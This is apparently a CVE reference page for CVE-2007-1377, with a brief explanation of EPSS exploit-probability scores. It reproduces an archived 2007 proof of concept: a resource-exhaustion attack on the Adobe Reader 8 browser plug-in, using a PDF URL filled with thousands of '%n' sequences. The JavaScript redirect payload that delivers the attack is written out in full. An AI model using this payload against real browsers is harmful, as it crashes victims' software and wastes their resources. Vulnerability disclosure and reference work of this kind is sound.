CVE-2007-1377 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

<!-------------------------------------------------------------------------------- Adobe PDF Reader plug-in AcroPDF.dll ver. 8.0.0.0 Resource Consumption author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.altervista.org Well, Adobe guys do a good job after the publication of a variety of bug in AcroPDF.dll, one for all From Secunia: "Input passed to a hosted PDF file is not properly sanitised by the browser plug-in before being returned to users. This can be exploited to execute arbitrary script code in a user's browser session in context of an affected site." So now the dll is able to understand when you're trying to insert something wrong prompting you with "One or more of the query terms are too long." and that's a good thing but... I thought "can this dll sanitise chars like %n" Well the answer is: no. Unfortunately (sure depends by the point of view) Internet Explorer is not useful for a test 'cause a limited number of chars (only 2083) is admitted in the address bar, so we need to use browser like Firefox and stuff like that. When you browse to a hosted pdf file like this http://somesite/poc.pdf#search=%n%n%n... x 10000 (or much more if you like) the browse will stop to answer until the process AcroRd32.exe crashes, the CPU usage is about 50-60% and the paging file usage grow until it's full and you have the message "Insufficient virtual memory..." Here's a proof of concept, for online demonstration see: http://www.shinnai.altervista.org/adobe.html txt version here: http://www.shinnai.altervista.org/txt/adobe.txt --------------------------------------------------------------------------------> <script language="javascript"> var browserName=navigator.appName; if (browserName=="Netscape") {var f = "" var c = "" for (var i = 0; i <= 10000; i++) { var f = f + "%n"; } document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + (f) } else if (browserName=='Opera') {var f = "" var c = "" for (var i = 0; i <= 10000; i++) { var f = f + "%n"; } document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + (f) } else if (browserName=='Microsoft Internet Explorer') { alert("This exploit doesn't work with IE. You need to use Firefox and stuff like that."); document.location="http://www.shinnai.altervista.org"; } else { alert("Mmm... I don't know what are you browsing with here, so no martini no party."); } </script> # milw0rm.com [2007-03-08]